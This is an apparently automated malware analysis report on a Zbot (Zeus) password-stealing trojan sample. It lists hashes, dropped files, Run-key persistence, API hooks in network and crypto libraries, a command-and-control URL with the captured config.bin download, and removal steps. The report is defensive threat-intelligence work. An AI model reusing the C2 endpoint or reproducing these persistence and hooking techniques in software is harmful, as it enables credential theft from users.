Trojan-PSW.Win32.Zbot_4a186ce9ab

by malwarelabrobot on May 29th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Strictor.44826 (B) (Emsisoft), Gen:Variant.Strictor.44826 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 4a186ce9ab967395b279a35224ba30a6
SHA1: 843d05c2a1da5c7dd2e87852e9125376d8f27d8e
SHA256: ca2131311fbcab3f80737bf960e123faca31a81374ebd2990f71f46d6c80d5e9
SSDeep: 6144:33 9omlZDd0 MhoMnX GGjGGtGGxGgG0GyGUGjGG3GGoGGQGhGGsGG4GGEGGgGGQ:n6FMuMnXPD6QPGNhsZ1Gsq/Y0vLjW
Size: 373248 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: AirInstaller
Created at: 2014-05-05 22:00:21
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

doidn.exe:2024
doidn.exe:1752
%original file name%.exe:1328
%original file name%.exe:1992

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:1140

File activity

The process doidn.exe:2024 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\Startup\system.pif (2105 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\system.pif (2105 bytes)
%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe (2105 bytes)

The process %original file name%.exe:1328 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\Startup\system.pif (2105 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\system.pif (2105 bytes)
%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe (2105 bytes)

The process %original file name%.exe:1992 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpefcd81f3.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Uluxu\doidn.exe (1654 bytes)

Registry activity

The process doidn.exe:2024 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9E 0D 54 90 10 20 2B C4 CF 69 6E 31 1A 1D 3A 8C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

To automatically run itself each time Windows is booted, the Trojan-PSW adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"help" = "%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"help" = "%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe"

The process doidn.exe:1752 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "08 82 AD E1 65 8A 97 67 90 98 74 E0 19 A5 54 E1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1328 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 03 61 A7 E4 12 3F 31 1B 82 69 E9 92 96 E7 7C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

To automatically run itself each time Windows is booted, the Trojan-PSW adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"help" = "%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"help" = "%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe"

The process %original file name%.exe:1992 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9B 2D D5 89 BC C8 DF 10 2D EE 0C 1E C9 36 47 D8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
6fbe6975493e315ce33e002f75d1d343 c:\Documents and Settings\All Users\Start Menu\Programs\Startup\system.pif
6fbe6975493e315ce33e002f75d1d343 c:\Documents and Settings\"%CurrentUserName%"\Application Data\InstallDir\help.exe
6fbe6975493e315ce33e002f75d1d343 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Uluxu\doidn.exe
6fbe6975493e315ce33e002f75d1d343 c:\Documents and Settings\"%CurrentUserName%"\Start Menu\Programs\Startup\system.pif

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name:
Product Name: cluster
Product Version: 1, 0, 0, 1
Legal Copyright: Copyright ? 2014
Legal Trademarks:
Original Filename: cluster.exe
Internal Name: cluster
File Version: 1, 0, 0, 1
File Description: cluster
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 16576 20480 3.70723 adf0902fbca7df783de2e85a56415a7c
.rdata 24576 7080 8192 2.96517 3a86e8382606e91aaae479be85f99b72
.data 32768 3912 4096 0.648908 407f785f104d7536b43c7b08862e1cf6
.rsrc 36864 333924 335872 5.15063 84bf62f45fc1977c3203680b63440e6b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://bentleyoil.biz/million/crores/config.bin
hxxp://www.google.com/webhp
hxxp://www.google.com/webhp?gfe_rd=cr&ei=hBaGU4e7J8Sc8AaxlIH4Aw
hxxp://www.google.com/webhp?gfe_rd=cr&ei=lRaGU9iID4qF8gayo4HQDA
hxxp://www.google.com/webhp?gfe_rd=cr&ei=nxaGU6Zqx5fwBtSWgYgB
hxxp://www.google.com.ua/webhp?gfe_rd=cr&ei=lRaGU9iID4qF8gayo4HQDA
hxxp://www.google.com.ua/webhp?gfe_rd=cr&ei=hBaGU4e7J8Sc8AaxlIH4Aw
hxxp://www.google.com.ua/webhp?gfe_rd=cr&ei=nxaGU6Zqx5fwBtSWgYgB


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Zeus Bot GET to Google checking Internet connectivity
ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /webhp?gfe_rd=cr&ei=nxaGU6Zqx5fwBtSWgYgB HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Cookie: PREF=ID=f9b967bf03143d69:U=6c5490ff4918d31c:FF=0:TM=1401296518:LM=1401296533:S=Fk1LKKHal3LHq1mG; NID=67=ahVKy7P9LkLIusvFpo3bvExFdZyYSLtjS_Y3DrJuBnw_jtl-c3wB-97_HaPKjxxFTuPaW9P807KgVWkYNosfCn33EgNJ-o4L6SFb-u3LjYbCgebCfCQLXiZMyLK6WKq0
Cache-Control: no-cache
Host: VVV.google.com.ua


HTTP/1.1 200 OK
Date: Wed, 28 May 2014 17:02:23 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
<!doctype html><html itemscope="" itemtype="hXXp://schema.org
/WebPage" lang="uk"><head><meta content="text/html; charse
t=UTF-8" http-equiv="content-type"><meta content="/images/google
_favicon_128.png" itemprop="image"><title>Google</title>
;<script>(function(){.window.google={kEI:"nxaGU9ueIo2VqAbqy4CYCQ
",getEI:function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(
"eid")));)a=a.parentNode;return b||google.kEI},https:function(){return
"https:"==window.location.protocol},kEXPI:"4791,17259,4000116,4007606,
4007661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,401122
8,4011258,4011679,4012373,4012504,4013414,4013591,4013723,4013758,4013
787,4013823,4013941,4013967,4013979,4014016,4014093,4014431,4014515,40
14636,4014671,4014789,4014805,4014810,4014813,4014991,4015234,4015260,
4015266,4015339,4015519,4015550,4015587,4015772,4016013,4016127,401630
9,4016367,4016373,4016476,4016487,4016703,4016824,4016855,4016882,4016
933,4016950,4016976,4017223,4017280,4017285,4017297,4017337,4017544,40
17595,4017612,4017639,4017681,4017694,4017710,4017742,4017818,4017862,
4017913,4017922,4017957,4017963,4017981,4018009,4018019,4018089,401813
1,4018283,4018367,4018424,4018480,4018518,8300012,8300015,8300027,8500
223,8500252,8500256,8500264,8500271,8500306,8500314,8500332,8500357,85
00365,8500379,8500389,8500394,8500400,8500413,8500415,10200002,1020001
2,10200029,10200038,10200040,10200048,10200053,10200083,10200120,10200
134,10200136,10200155,10200164,10200184,10200211,10200221,10200242
<<< skipped >>>


GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.google.com
Cache-Control: no-cache


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=hBaGU4e7J8Sc8AaxlIH4Aw
Content-Length: 267
Date: Wed, 28 May 2014 17:01:56 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=hBaGU4e
7J8Sc8AaxlIH4Aw">here</A>...</BODY></HTML>....



GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.google.com
Cache-Control: no-cache


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=nxaGU6Zqx5fwBtSWgYgB
Content-Length: 265
Date: Wed, 28 May 2014 17:02:23 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=nxaGU6Z
qx5fwBtSWgYgB">here</A>...</BODY></HTML>....



GET /webhp?gfe_rd=cr&ei=hBaGU4e7J8Sc8AaxlIH4Aw HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Cache-Control: no-cache
Host: VVV.google.com.ua


HTTP/1.1 200 OK
Date: Wed, 28 May 2014 17:01:58 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=f9b967bf03143d69:FF=0:TM=1401296518:LM=1401296518:S=fXgNwjifExjaqaL6; expires=Fri, 27-May-2016 17:01:58 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=ZHHrO4tPu1lSWENGmlZM9OhttDdlaTc89pxgusnFXFsidNUvj0HYxJ49T8Iw9PSV9045a1hjpPFm7qCwVBDASaHjqLUw9JAzvf12BxGsvHlXyNSyl9F1cU1xscmf7nhO; expires=Thu, 27-Nov-2014 17:01:58 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
<!doctype html><html itemscope="" itemtype="hXXp://schema.org
/WebPage" lang="uk"><head><meta content="text/html; charse
t=UTF-8" http-equiv="content-type"><meta content="/images/google
_favicon_128.png" itemprop="image"><title>Google</title>
;<script>(function(){.window.google={kEI:"hhaGU_nLC4-hqAbUzILQAg
",getEI:function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(
"eid")));)a=a.parentNode;return b||google.kEI},https:function(){return
"https:"==window.location.protocol},kEXPI:"4791,17259,4000116,4007606,
4007661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,401122
8,4011258,4011679,4012373,4012504,4013414,4013591,4013723,4013758,4013
787,4013823,4013941,401HTTP/1.1 200 OK..Date: Wed, 28 May 2014 17:01:5
8 GMT..Expires: -1..Cache-Control: private, max-age=0..Content-Type: t
ext/html; charset=UTF-8..Set-Cookie: PREF=ID=f9b967bf03143d69:FF=0:TM=
1401296518:LM=1401296518:S=fXgNwjifExjaqaL6; expires=Fri, 27-May-2016 
17:01:58 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID=67=ZHHrO4
tPu1lSWENGmlZM9OhttDdlaTc89pxgusnFXFsidNUvj0HYxJ49T8Iw9PSV9045a1hjpPFm
7qCwVBDASaHjqLUw9JAzvf12BxGsvHlXyNSyl9F1cU1xscmf7nhO; expires=Thu, 27-
Nov-2014 17:01:58 GMT; path=/; domain=.google.com.ua; HttpOnly..P3P: C
P="This is not a P3P policy! See hXXp://VVV.google.com/support/account
s/bin/answer.py?hl=en&answer=151657 for more info."..Server: gws..X-XS
S-Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Pr
otocol: 80:quic..Connection: close..<!doctype html><html 
<<< skipped >>>


GET /webhp?gfe_rd=cr&ei=lRaGU9iID4qF8gayo4HQDA HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Cookie: PREF=ID=f9b967bf03143d69:FF=0:TM=1401296518:LM=1401296518:S=fXgNwjifExjaqaL6; NID=67=ZHHrO4tPu1lSWENGmlZM9OhttDdlaTc89pxgusnFXFsidNUvj0HYxJ49T8Iw9PSV9045a1hjpPFm7qCwVBDASaHjqLUw9JAzvf12BxGsvHlXyNSyl9F1cU1xscmf7nhO
Cache-Control: no-cache
Host: VVV.google.com.ua


HTTP/1.1 200 OK
Date: Wed, 28 May 2014 17:02:13 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=f9b967bf03143d69:U=6c5490ff4918d31c:FF=0:TM=1401296518:LM=1401296533:S=Fk1LKKHal3LHq1mG; expires=Fri, 27-May-2016 17:02:13 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=ahVKy7P9LkLIusvFpo3bvExFdZyYSLtjS_Y3DrJuBnw_jtl-c3wB-97_HaPKjxxFTuPaW9P807KgVWkYNosfCn33EgNJ-o4L6SFb-u3LjYbCgebCfCQLXiZMyLK6WKq0; expires=Thu, 27-Nov-2014 17:02:13 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
<!doctype html><html itemscope="" itemtype="hXXp://schema.org
/WebPage" lang="uk"><head><meta content="text/html; charse
t=UTF-8" http-equiv="content-type"><meta content="/images/google
_favicon_128.png" itemprop="image"><title>Google</title>
;<script>(function(){.window.google={kEI:"lRaGU-6FL4jNsQTPsIFQ",
getEI:function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("e
id")));)a=a.parentNode;return b||google.kEI},https:function(){return"h
ttps:"==window.location.protocol},kEXPI:"4791,17259,4000116,4007606,40
07661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,4011228,
4011258,4011679,4012373,4012504,4013414,4013591,4013723,4013758,401378
7,4013823,4013941,4013967,4013979,4014016,4014093,4014431,4014515,4014
636,4014671,4014789,4014805,4014810,4014813,4014991,4015234,4015260,40
15266,4015339,4015519,4015550,4015587,4015772,4016013,4016127,4016309,
4016367,4016373,4016476,4016487,4016703,4016824,4016855,4016882,401693
3,4016950,4016976,4017223,4017280,4017285,4017297,4017337,4017544,4017
595,4017612,4017639,4017681,4017694,4017710,4017742,4017818,4017862,40
17913,4017922,4017957,4017963,4017981,4018009,4018019,4018089,4018131,
4018283,4018367,4018424,4018480,4018518,8300012,8300015,8300027,850022
3,8500252,8500256,8500264,8500271,8500306,8500314,8500332,8500357,8500
365,8500379,8500389,8500394,8500400,8500413,8500415,10200002,10200012,
10200029,10200038,10200040,10200048,10200053,10200083,10200120,1020013
4,10200136,10200155,10200164,10200184,10200211,10200221,10200242,1
<<< skipped >>>


GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.google.com
Cache-Control: no-cache


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=lRaGU9iID4qF8gayo4HQDA
Content-Length: 267
Date: Wed, 28 May 2014 17:02:13 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=lRaGU9i
ID4qF8gayo4HQDA">here</A>...</BODY></HTML>....



GET /million/crores/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: bentleyoil.biz
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 28 May 2014 17:01:26 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips mod_bwlimited/1.4
Last-Modified: Wed, 28 May 2014 00:07:41 GMT
ETag: "d78023f-8694-4fa6a99d3b705"
Accept-Ranges: bytes
Content-Length: 34452
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/octet-stream
.}..U.J.....9....8._..sq........VU(@^...X.5..t9'm.........M....F.A...%
..3.!c.M.:....c..94R.."..(x..U........m.#,<V.q....g..7/.|._l.R.ag.{
.......z.......I...C......<D}byx..m...[.;!h...Z....E.0....\.7!t".T.
..d.....f5... P..".vv..Q?..`{..C.j...(.R;[email protected]=o8..M......HB.a.aM.
.];.2.p.4.IX'L.F...}....blE:.)3I..Ba).3.Z..Nm...8.D.O.BQ.......Y...!.D
v..b..f...7GS.;1l...(.....;k..o...9..lE....3d.s-.M.....|.....l.......8
..L{...."d....}=k.;...%.t2..yaiN...s...S....g...w..*.J.y.@.~.P..Kx./@.
......B'....Z5$......R.E.<..r.......U..A.0O.1....;..~............V:
..8W.W....m7..f=...p..a..,.{..8c.....T$.Rf..dz.p.}.-Y...5;.8....N....l
O....Z.PUDI..!r..8-...<.Bh..w......c.......$.=..d...[mO...X...h./.V
.......7. ..P...b..t...........{..V.a.W.^.X.....@j~...Y.\.q. .)..LK*AZ
................:.>...].....#oG...G..om.W..)m...G..A.....tk.mh.oz .
..../..&<.b..._..! Y...65]..x..j....v...zm.N..nE.xN.x.ez.j.X.....8.
^.:.......s..~m..5....ey.........^E.f..{.lo..]...i........?.2.?A...d.4
.L|.......M..}s.>.#.8.E..Z...i...I....).4Z....FQm...1.Q.?X.=ckmj...
Q...g.L.axyi..V.....5 .3<&.n}..=.^^......x.........0.1$.d....0 P.#e
.j2.AA..[%.=./y..D&n.4O........W}2.:H...v.......r..i...).d......K...Y.
..o=...n...ih.s.8[......... .#GAf".O.3...lg...Q.....).I .47$y#.{w..0[4
..J6.%..n..t.z............:y.:x .P.Sh..D#_.<.[.lwo.q...B..wY....P:.
\..Q<vm`.`.Dkk.Z=.......q.66 .W.G1.!._...9....Q..>.-.OI..X..es..
xV.5..S.87...p....$..L$...t.a..r.^..A.u'[email protected]..%
...wB_....o-x......P}.3G...!..c.._.4u;.>r.%.Dq4.........D.b#f..
<<< skipped >>>

The Trojan-PSW connects to the servers at the folowing location(s):

Explorer.EXE_1140_rwx_01E00000_00027000:

.text
`.data
.reloc
http://www.google.com/webhp
PR_OpenTCPSocket
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
: ;2*8.>
3.#70!2)
x#m`a`cmddt-
6 !26!1'1
7"52),,>
;<)?$*%,
71.(5;4=
(203,2$0
/?./,5 <
:>(<<44=3%
8%/<8/?)?/
%/>!
HTTP/1.1
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
http://
https://
HTTP/1.
SSSh,4
GetProcessHeap
KERNEL32.dll
SetKeyboardState
ExitWindowsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
6 6&6/656{6
cGlobal\XXX
nspr4.dll
nss3.dll
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
%Documents and Settings%\%current user%\Application Data\Zeyda\xowio.ehy
%Documents and Settings%\%current user%\Application Data\Zeyda
xowio.ehy
Global\{2902BD4D-FDD7-07D3-350C-275D44F5F84C}
%Documents and Settings%\%current user%\Application Data
{BF790F68-4FF2-91A8-350C-275D44F5F84C}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    doidn.exe:2024
    doidn.exe:1752
    %original file name%.exe:1328
    %original file name%.exe:1992

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\Start Menu\Programs\Startup\system.pif (2105 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\Startup\system.pif (2105 bytes)
    %Documents and Settings%\%current user%\Application Data\InstallDir\help.exe (2105 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmpefcd81f3.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Uluxu\doidn.exe (1654 bytes)

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "help" = "%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "help" = "%Documents and Settings%\%current user%\Application Data\InstallDir\help.exe"

  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  7. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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